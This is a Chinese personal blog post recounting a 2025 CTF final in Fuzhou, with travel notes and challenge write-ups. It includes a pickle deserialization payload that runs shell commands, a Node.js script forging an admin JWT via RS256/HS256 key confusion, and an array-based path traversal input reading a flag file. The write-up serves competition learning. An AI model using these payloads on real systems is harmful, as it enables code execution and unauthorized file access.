2025 长城杯 final
好久没写博客了 写点记录吧
day 0
福建-福州

酒店风景还是很顶的 但是沟槽的里比赛场地30km 也是神人了


晚上去和VVNN的师傅们团建,来福建就是应该吃海鲜啊

还是很焦虑第二天的比赛
day 1
上来先做ctf
booklist
/backup 路由存在源代码泄露 看源码可以打pickle反序列化,不过需要绕过登录校验
/404 写的就有问题 模板渲染不是这样子写的 存在ssti

需要注意的是 这里的起始点必须是error好像,使用其他的会报错 不知道为什么。本来想直接rce的 但是搞了半天也没成功
成功获取到全局变量,得到账号密码

然后就是生成一个pickle文件 通过任意文件上传上传到 books 目录下 命令执行即可

1 2 3 4 5 6 7 8 9
| import pickle
class A(): def __reduce__(self): return (eval, ("__import__('o'+'s').system('ls / > ./static/img/ls')",)) a = A() with open("./test.pkl", "wb") as f: pickle.dump(a, f)
|

在static下获取到flag
Deprecated
这里的jwt写的也很奇怪

decode的时候支持使用非对称RS256和对称HS256,但是签名的时候用的是非对称加密RS256
如果能拿到公钥,那么就可以任意身份伪造
想到网鼎杯那个题目了 需要用多个hs256计算得到的结果攻击出来公钥
这里我发现我没这个工具 还好乙醇师傅的电脑上有

PS: 这个终端一看就是乙醇师傅的电脑,二刺螈蒸鳄心
得到公钥,直接伪造即可
1 2 3 4 5 6 7 8
| const jwt = require('jsonwebtoken'); const fs = require('fs'); const publicKey = fs.readFileSync('./b3ec3db187fa955c_65537_x509.pem', 'utf8'); data={ username: "admin", priviledge:'File-Priviledged-User' } data = Object.assign(data); console.log( jwt.sign(data, publicKey, { algorithm:'HS256'}))
|
存在文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| router.get('/checkfile', AuthMiddleware, async (req, res, next) => { try{ let user = await db.getUser(req.data.username); if (user === undefined) { return res.send(`user ${req.data.username} doesn't exist.`); } if (req.data.username === 'admin' && req.data.priviledge==='File-Priviledged-User'){ let file=req.query.file; if (!file) { return res.send('File name not specified.'); } if (!allowedFile(file)) { return res.send('File type not allowed.'); } try{ if (file.includes(' ') || file.includes('/') || file.includes('..')) { return res.send('Invalid filename!'); } } catch(err){ return res.send('An error occured!'); }
if (file.length > 10) { file = file.slice(0, 10); } const returned = path.resolve('./' + file); fs.readFile(returned, (err) => { if (err) { return res.send('An error occured!'); } res.sendFile(returned); }); } else{ return res.send('Sorry Only priviledged Admin can check the file.').status(403); }
}catch (err){ return next(err); } }); const allowedFile = (file) => { const format = file.slice(file.indexOf('.') + 1); return format == 'log'; };
|
这个逻辑其实乍一眼看没问题 ,但是重点在这里

nodejs也有若比较和强比较 这里就意味着形如这样也能返回true

那思路就很简单了,使用数组。利用js中indexOf这些都支持数组和字符串的函数即可绕过
1
| var filename = ['','','','','','','','','','../../../../../flag.txt',"./",'.','log']
|

渗透
两个靶机可以在一个靶机上获取到部分源码,另外一个靶机是魔改的
有个接口用了fastjson 一直没发现 赛后交流的啊时候发现了
另一个溯源反打的是神秘靶机 有个download.php 要猜测参数 神秘参数猜不出来 爆破了很多字典也没跑出来 摆烂了
后面又看ctf 有个原型链污染
神秘污染 黑盒污染 也没干出来 后面就摆烂了 我是采购
最后ctf第一 总榜第四 感谢这几位大跌 @Carbo@enllus1on@CHHHCHHOH 带我
day2
滚回学校做我的采购
这个茶真的很好喝

找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作